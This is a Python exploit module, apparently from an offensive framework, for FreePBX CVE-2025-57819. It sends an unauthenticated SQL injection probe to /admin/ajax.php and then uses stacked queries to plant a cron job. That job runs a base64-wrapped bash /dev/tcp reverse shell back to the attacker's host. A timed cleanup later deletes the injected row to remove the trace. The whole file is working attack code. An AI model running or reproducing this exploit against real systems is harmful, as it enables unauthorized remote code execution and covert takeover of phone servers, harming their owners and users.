FreePBX - Unauth SQLi to RCE (CVE-2025-57819)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""FreePBX Endpoint Manager unauth SQLi → cron RCE (CVE-2025-57819) — reverse CMD."""

from __future__ import annotations

import base64
import threading

from kittysploit import *
from lib.protocols.http.http_client import Http_client

_EXTRACTVALUE_PROBE = "x' AND EXTRACTVALUE(1,CONCAT('~',(SELECT USER()),'~')) -- -"
_AJAX_MODULE = 'FreePBX\\modules\\endpoint\\ajax'


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'FreePBX - Unauth SQLi to RCE (CVE-2025-57819)',
        'description': (
            'Exploits CVE-2025-57819: unauthenticated stacked SQLi on /admin/ajax.php '
            '(brand) inserts a cron_jobs row that runs a simple bash /dev/tcp reverse shell '
            'on the next FreePBX cron tick (~60s). The framework listener starts automatically '
            '(disablePayloadHandler=false). Set LHOST/LPORT only — no PTY payload needed.'
        ),
        'author': ['K3ysTr0K3R (Jared Brits)', 'KittySploit Team'],
        'cve': ['CVE-2025-57819'],
        'platform': Platform.LINUX,
        'arch': [Arch.X86, Arch.X64],
        'category': PayloadCategory.CMD,
        'payload': {
            'default': 'payloads/singles/cmd/unix/bash_reverse_tcp',
            'platform': Platform.UNIX,
            'category': PayloadCategory.CMD,
        },
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2025-57819',
            'https://github.com/FreePBX/security-reporting/security/advisories/GHSA-m42g-xg4c-5f3h',
            'https://www.exploit-db.com/exploits/52681',
        ],
        'tags': [
            'freepbx', 'sangoma', 'endpoint', 'sqli', 'unauth', 'rce', 'cron',
            'kev', 'cve-2025-57819',
        ],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution', 'config_change'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals', 'rce'],
            'requires': {
                'tech_hints_any': ['freepbx', 'sangoma'],
                'endpoint_pattern_any': ['/admin/ajax.php'],
            },
            'chain': {
                'produces_capabilities': [
                    {'capability': 'rce', 'from_detail': 'cron_jobs stacked SQLi'},
                    {'capability': 'shell', 'from_detail': 'reverse CMD session'},
                ],
                'suggested_followups': ['scanner/http/cve_2025_57819_detect'],
            },
        },
    }

    port = OptPort(80, 'FreePBX HTTP port', True)
    ssl = OptBool(False, 'Use HTTPS', True, advanced=True)
    exploit_timeout = OptInteger(
        120,
        'Seconds to wait for reverse shell after cron injection',
        required=False,
        advanced=True,
    )
    auto_cleanup = OptBool(True, 'Delete injected cron_jobs row after delay', False, advanced=True)
    cleanup_delay = OptInteger(180, 'Seconds before cron_jobs cleanup', False, advanced=True)
    cron_module = OptString('sysadmin', 'modulename stored in cron_jobs', False, advanced=True)
    job_name = OptString('', 'cron_jobs.jobname (auto if empty)', False, advanced=True)

    def _ajax_path(self) -> str:
        base = (self.path or '/').rstrip('/')
        return f'{base}/admin/ajax.php'

    def _ajax_params(self, brand: str) -> dict[str, str]:
        return {
            'module': _AJAX_MODULE,
            'command': 'model',
            'template': 'x',
            'model': 'model',
            'brand': brand,
        }

    def _send_brand(self, brand: str):
        return self.http_request(
            method='GET',
            path=self._ajax_path(),
            params=self._ajax_params(brand),
            allow_redirects=False,
        )

    @staticmethod
    def _body_indicates_sqli(body: str) -> bool:
        text = body or ''
        if 'XPATH syntax error' in text and 'freepbxuser' in text:
            return True
        if 'You have an error in your SQL syntax' in text:
            return True
        if 'Trying to access array offset on value of type bool' in text:
            return True
        return False

    def _reverse_shell_cmd(self) -> str:
        host = str(getattr(self, 'lhost', None) or '').strip()
        port = int(getattr(self, 'lport', None) or 0)
        if not host or port <= 0:
            raise ValueError('Set LHOST and LPORT for the reverse shell listener')
        return f"bash -c 'exec bash -i &>/dev/tcp/{host}/{port} <&1'"

    def check(self):
        response = self._send_brand(_EXTRACTVALUE_PROBE)
        if not response:
            return {
                'vulnerable': False,
                'reason': 'No response from /admin/ajax.php',
                'confidence': 'low',
            }
        body = response.text or ''
        if 'XPATH syntax error' in body and 'freepbxuser' in body:
            return {
                'vulnerable': True,
                'reason': 'EXTRACTVALUE SQLi confirmed (MySQL user freepbxuser leaked)',
                'confidence': 'high',
            }
        if self._body_indicates_sqli(body):
            return {
                'vulnerable': True,
                'reason': 'Error-based SQL injection on brand parameter',
                'confidence': 'medium',
            }
        return {
            'vulnerable': False,
            'reason': 'No CVE-2025-57819 SQLi indicators on endpoint ajax brand parameter',
            'confidence': 'medium',
        }

    @staticmethod
    def _wrap_for_cron(shell_cmd: str) -> str:
        b64 = base64.b64encode(shell_cmd.encode()).decode()
        return f"echo '{b64}' | base64 -d | bash"

    def _inject_cron(self, shell_cmd: str, job: str) -> bool:
        command = self._wrap_for_cron(shell_cmd)
        hex_command = command.encode().hex()
        module = str(self.cron_module or 'sysadmin').replace("'", '')
        safe_job = job.replace("'", '')
        sql = (
            f"x' ;INSERT INTO cron_jobs "
            f"(modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order) "
            f"VALUES ('{module}', '{safe_job}', 0x{hex_command}, NULL, '* * * * *', 30, 1, 1) -- "
        )
        response = self._send_brand(sql)
        if not response:
            return False
        return int(response.status_code or 0) in (200, 500)

    def _cleanup_cron(self, job: str) -> bool:
        safe_job = job.replace("'", '')
        sql = f"x' ;DELETE FROM cron_jobs WHERE jobname='{safe_job}' -- "
        response = self._send_brand(sql)
        if not response:
            return False
        return int(response.status_code or 0) in (200, 500)

    def _schedule_cleanup(self, job: str) -> None:
        delay = max(30, int(self.cleanup_delay or 180))

        def _worker() -> None:
            if self._cleanup_cron(job):
                print_success(f'Cron job row deleted (jobname={job})')
            else:
                print_warning('Cron cleanup may have failed — verify cron_jobs manually')

        threading.Timer(delay, _worker).start()

    def run(self):
        chk = self.check()
        if not chk.get('vulnerable'):
            print_error(chk.get('reason') or 'Target not vulnerable')
            self.not_vulnerable()
            return False

        try:
            shell_cmd = self._reverse_shell_cmd()
        except ValueError as exc:
            print_error(str(exc))
            return False

        job = str(self.job_name or '').strip() or f'ks-{self.random_text(6)}'
        host = str(getattr(self, 'lhost', '') or '').strip()
        port = int(getattr(self, 'lport', 0) or 0)

        print_status(f'Injecting cron_jobs row (jobname={job}) ...')
        print_info(f'Reverse shell: {host}:{port} (bash /dev/tcp, EDB-52681 style)')
        if not self._inject_cron(shell_cmd, job):
            print_error('Cron injection failed (unexpected HTTP response)')
            return False

        print_success('Cron planted — callback expected within ~60s (framework waits for listener)')
        if bool(self.auto_cleanup):
            print_info(
                f'Cron row cleanup scheduled in {max(30, int(self.cleanup_delay or 180))}s'
            )
            self._schedule_cleanup(job)

        return True